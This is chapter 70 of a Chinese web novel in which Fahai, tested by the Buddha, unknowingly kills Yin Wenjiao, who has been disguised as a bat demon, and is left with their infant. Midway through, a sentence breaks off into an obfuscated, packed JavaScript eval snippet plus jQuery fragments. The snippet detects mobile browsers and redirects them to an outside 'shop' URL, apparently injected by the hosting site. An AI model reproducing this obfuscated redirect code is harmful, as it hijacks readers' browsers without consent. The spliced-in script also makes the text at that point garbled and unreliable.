70.考验开始

作品:《唐僧是我儿,法海是相好

    月辉清冷,秋夜寒凉。


    法海随洋流漫无目的飘荡,此时距海岛稍微有些远了。


    既然决定回去,他回过神,脚尖轻点海浪,如海鸟般轻盈跃入空中,身体离开海面带起水声响动,那响动在海涛的掩盖下微不可闻,离着海岛甚远根本传不过去,但对能聆听万物声音的佛祖来说,一切犹如发生在耳畔。


    如来道:“他来了。”


    殷温娇颔首相应,双目闭合,等待最后的考验降临。


    不是对她,而是对法海。


    恢复实力的法海眨眼便落在洞口不远处,这里曾是两人在海岛生活眺望大海的位置,回首同样能窥见洞内一隅,受角度限制,石床藏在另一端是完全看不到的,他能看到的仅是石桌和旁边用来放碗碟的石头格子。


    石头格子是他亲手垒起来的,当时还被殷温娇嘀咕讲究,他是怎么回的呢?


    “若是可以,我也不希望自己讲究这些,说明那时我已经带着你过上了衣食无忧的日子。”


    然后殷温娇笑了,笑得很美,眼睛里藏了星星,一闪一闪的,比此刻头顶的星空璀璨,晃得他眼晕,他把这一幕藏在心底很久很久,也为此努力了很久很久。


    久到,现在依然能清晰感受到内心的雀跃。


    法海愣怔一瞬,心脏泵出一股暖流,暖流不受控制地流向四肢百骸,在清冷的秋夜,冷暖交织麻醉了指尖末梢,像是冻伤的人乍然进入一间燃着炭火的温暖屋子,冰冷的皮肤遇到暖融融的热气泛起刺痛的痒意,让他身体微微发颤。


    抬手捂住心脏,法海忽地肃了脸色。


    不争气的东西。


    人还没见到,它已经要投降了。


    法海抬头望向发出光源的地方,曾经被他认定为家的简陋山洞处处刻满回忆,稍不注意就让人心神恍惚。


    恍惚到他好像看到一只精怪从洞内走出。精怪长着类似老鼠的耳朵,目似点漆,小嘴开合露出里面米粒般的尖牙,浑身皮肤呈黑灰色,前身有短而密的细小绒毛,背生两翼,由皮膜覆盖翼骨,双翼末端长有爪子,此时一只爪子正拎着一个锦绣包袱。


    他和殷温娇都没有上等布料,那是南极仙翁用来包裹刚出生婴儿的襁褓。


    不对!


    法海终于反应过来,对面没有任何妖气的精怪竟真的是只蝙蝠怪,不是他的幻觉。


    作为斩杀妖怪无数的金山寺佛子,法海当即挥掌打了过去。


    蝙蝠怪躲过佛掌飞向天空,法海追上去的脚步倏地一顿,随即旋身进了山洞。


    洞内的情形一览无余,甚至因为光源太过明亮将各个角落的阴影照的无所遁形,室内物品摆放和他离开前一样,别无二致,唯独少了那抹倩影。


    法海极力压抑嗓音里的颤抖不至于语不成调,面对空无一人的山洞,他徒劳喊道:“殷温娇?”


    那声呼喊沉入冰冷的山壁,连回声都被吞吃,留下一室死寂。


    法海撑住山壁,回想方才的情形,蝙蝠怪爪子上只有一个襁褓,然后……然后还有什么,任他拼命回想也想不起它背上是否有人。


    妖怪吃人并不是一句虚言,残暴的拿了人当下酒菜蘸上料一口一口的吞吃,非得弄得血溅四方,  也有妖怪兽口大张整个将人囫囵吞进肚子的,被吃的人一根头发丝都不会留下,死不见尸。


    铺天盖地的窒息感几欲将法海溺毕,随后喷涌而出的怒火顷刻将他的理智焚烧殆尽,他面露狰狞,额头亘起青筋,踉跄着转身朝蝙蝠怪追去。


    夜空下,蝙蝠怪像是第一次飞翔般,悬在空中的身体左摇右晃,眼看着随时有坠落的危险,就在它欲坠不坠时,似有外力将它捧起,每一次都化险为夷,安然无恙。


    它飞行的本事不济,速度自然快不到哪去,法海眨眼赶到它身前,拦住它的去路。


    蝙蝠怪差点没刹住身体一头撞上去,待它抡得乱系八糟的膜翼找到平衡停滞在空中,看到悬浮在面前的人,爪子不自觉收紧。


    月光倾泻而下,从法海眉骨打下一层阴影,藏在阴影里的眼睛让人难辨情绪,但你就是知道他的目光已经牢牢锁定你,像一柄寒刃横在脖颈,稍有动作,锋利无比的刃口将割破你的喉咙,流出汩汩的鲜血。


    蝙蝠怪身前的绒毛应激炸开,与之相反的是它眼里含着兴奋,然而对方没有直接动手,它疑惑歪头之际,听到法海问:“她在哪?”


    他的语气很轻,轻到夜风轻易撕碎尾音,发出似是哽咽的颤音。


    蝙蝠怪张嘴,横亘在喉咙的横骨阻碍了它说话,似想到了什么它就势朝对方龇牙挑衅,乘其不备将手中的襁褓向前方高空扔去。


    襁褓里金蝉子睡得过于沉了,在连连变故中完全没有受到外物干扰,继续做着美梦,全然不知自己正在空中做着自由落体。


    预想中法海救子的画面没有出现,他定定悬在那里,似是想从一个不会说话的妖怪嘴里等到问题的答案。


    蝙蝠怪慌了,它的眼睛黑圆,慌乱的时候瞳孔不自觉扩缩,会说话般眼巴巴地朝法海求助,也许那不是求助,而是带着颐指气使的娇蛮命令。


    命令他去救孩子。


    有那么一瞬,肃杀的氛围忽地凝滞,法海周身和软下来,因为他从蝙蝠怪的眼睛里看到了殷温娇的影子,但是怎么可能?


    这种近乎侮辱的类比顷刻点燃了他压抑的怒火,法海瞬间靠近蝙蝠怪,五指成爪,捏住对方的脖颈拉到近前,厉声问道:“她在哪?!!!”


    挨得近了蝙蝠怪才发现面前人双目赤红,瞳孔缩小到微粒,透着择人而噬的疯劲,状似入魔。


    它吓呆了。


    此时,襁褓从高空落下,在法海身后留下残影惊醒了蝙蝠怪,情急之下,它举起爪子袭向法海胸膛,在绝对的实力面前,它的一爪子软绵无力,轻易被对方抓住然后捏断腕骨。


    剧烈的疼痛袭击着蝙蝠怪,事情偏离轨迹,它疯了般挣扎着。


    膜翼扑扇带起飓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042183|188030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    风,四肢乱蹬,但凡寻着机会便龇牙咬向法海,按理说照它先前的表现不可能挣脱法海的桎梏,但它在某一刻爆发巨大的潜能,将法海一脚蹬开,眨眼向着襁褓飞去。


    已经失去理智的法海紧随其后,依然再问着那句,“她在哪?”


    蝙蝠怪抢先一步接住襁褓,然后它做了一个计划没有的动作,面向法海,它张大嘴巴,露出尖牙,一口咬向婴儿。


    这个动作刺激到法海敏感的神经,他再也控制不住内心的暴虐,隔空轰出佛掌,掌印不偏不倚打在蝙蝠怪额头。


    蝙蝠怪大张的嘴巴无力合上,双翼停止扇动,它的身体变得软绵,襁褓从怀中掉落。


    在蝙蝠怪死去的瞬间,佛光破除夜空,代替月辉洒下。


    携有祥和、宁心作用的佛光暖融融的,不刺眼,沐浴在佛光中的法海破除魔障,恢复神志,同样在佛光的照耀下,蝙蝠怪的幻影消除,露出真实面目。


    绯色的裙摆像绽开的血花一样刺眼,那是殷温娇爱穿的裙子。


    法海的世界突然变得缓慢,佛光中她向后仰去的弧度,自己收回的佛掌,血悬浮半空像红玛瑙。然后世界如常转动,耳鸣炸裂。


    如来佛祖显出化身,端坐莲台佛目微睁,看着坐下弟子疯魔般朝殷温娇的尸身追去。


    佛祖闭目,“阿弥陀佛。从痴有爱,则我病生。”


    他摆出招手的姿势,轻轻一唤,“来。”坠落的尸首朝他飞来,居于掌心隐没于无形。


    事到如今还有什么不明白的,是佛祖将殷温娇变化为蝙蝠怪,是他亲手杀死了最爱的人。


    法海第一次抬眼直视如来,眼中再无半分敬意,他站在莲花座前声嘶力竭,“佛祖,若真有业报,何不杀我?殷温娇有什么错,一切因果皆在我!”


    “在我呀!”


    这一声从肺部挤出的嘶吼抽干了他所有的气力,法海屈膝伏首手握成拳,双掌弃了合十皈依,叩首三下。


    “弟子愚钝,有负佛祖教导,愿以身还恩。”


    沦落到此番境地,是他愚钝,固执,怯懦,是他咎由自取,是他……连累了殷温娇。


    他发下宏愿荡除人间妖魔立志成佛得道,却连自己的心都认不清,连幻象都堪不破,还谈什么斩妖除魔,成什么佛!


    这佛不修也罢!


    法海起身念决,海水震荡,起浪超千丈轰然落下,呼啸着冲向海岛,似要将一切随着殷温娇的消失而湮灭,连带着他自己也要跳入海啸。


    如来拂袖,拦住法海,在海岛上空设下结界,大浪从天而过,沿着结界四散流回海洋,生灵无损,浪潮逐渐平息。


    “孽徒,她自有归处,你若还想见她且带孩子回金山寺修行去吧。”


    言罢,如来将早被定格在半空的襁褓放到他面前。


    法海脑中轰鸣,跪行莲座前叩首乞求道:“弟子如何能再见到她?如何救她?”


    如来笑道:“十八年后,自有分晓。”